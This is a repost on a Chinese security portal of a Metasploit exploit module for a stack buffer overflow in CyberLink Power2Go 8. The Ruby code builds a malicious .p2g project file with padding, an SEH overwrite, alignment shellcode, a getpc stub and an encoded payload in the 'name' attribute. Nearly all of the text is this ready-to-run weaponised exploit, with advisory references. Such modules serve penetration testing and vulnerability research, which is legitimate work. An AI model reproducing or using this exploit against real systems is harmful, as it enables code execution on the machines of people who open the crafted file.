首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit
来源:http://www.metasploit.com 作者:mr_me 发布时间:2012-04-19  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit',
   'Description'     => %q{
     This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
    The vulnerability is triggered when opening a malformed p2g file containing an overly
    long string in the 'name' attribute of the file element. This results in overwriting a
    structured exception handler record.
   },
   'License'         => MSF_LICENSE,
   'Author'          =>
    [
     'modpr0be <modpr0be[at]spentera.com>',    # initial discovery
     'mr_me <steventhomasseeley[at]gmail.com>' # msf module
    ],
   'References'      =>
    [
     ['BID', '50997'],
     ['OSVDB', '70600'],
     ['URL', 'http://www.exploit-db.com/exploits/18220/'],
     ['URL', 'http://www.kb.cert.org/vuls/id/158003']
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'         =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00"
    },
   'Platform'        => 'win',
   'Targets'         =>
    [
     # Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
     [ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
    ],
   'DisclosureDate'  => 'Sep 12 2011',
   'DefaultTarget'   => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
   ], self.class)
 end

 def get_payload(hunter)
  
  [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
   enc = framework.encoders.create(name)
   if name =~ /unicode/
    enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
   else
    enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
   end
   # NOTE: we already eliminated badchars
   hunter = enc.encode(hunter, nil, nil, platform)
   if name =~/alpha/
    #insert getpc_stub & align EDX, unicode encoder friendly.
    #Hardcoded stub is not an issue here because it gets encoded anyway
    getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
    hunter = getpc_stub + hunter
   end
  }

  return hunter
 end

 def exploit

  title = rand_text_alpha(10)
  buffer =  ""
  buffer << rand_text_alpha(778)
  buffer << "\x58\x28"        # nseh
  buffer << target['Ret']     # seh
  buffer << "\x5f\x73" * 15   # pop edi/add [ebx],dh (after byte alignment)
  buffer << "\x58\x73"        # pop eax/add [ebx],dh (after byte alignment)
  buffer << "\x40\x73" * 3    # inc eax/add [ebx],dh (after byte alignment)
  buffer << "\x40"            # inc eax
  buffer << "\x73\x42" * 337  # add [ebx],dh/pop edx (after byte alignment)
  buffer << "\x73"            # add [ebx],dh (after byte alignment)
  buffer << get_payload(payload.encoded)

  p2g_data = <<-EOS
  <Project magic="#{title}" version="101">
  <Information />
   <Compilation>
    <DataDisc>
     <File name="#{buffer}" />
    </DataDisc>
   </Compilation>
  </Project>
  EOS

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(p2g_data)
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft IIS 7.5 remote heap
·GSM SIM Editor 5.15 Buffer Ove
·K-Meleon Browser v1.5.4 - Deni
·Office 2008 sp0 RTF Pfragments
·V-CMS PHP File Upload and Exec
·MS11-046 Proof Of Concept
·Quest InTrust Annotation Objec
·OpenSSL ASN1 BIO Memory Corrup
·wicd Local Privilege Esclation
·VLC 2.0.1 division by zero vul
·Backtrack 5 R2 wicd Privilege
·Mozilla Firefox Bootstrapped A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved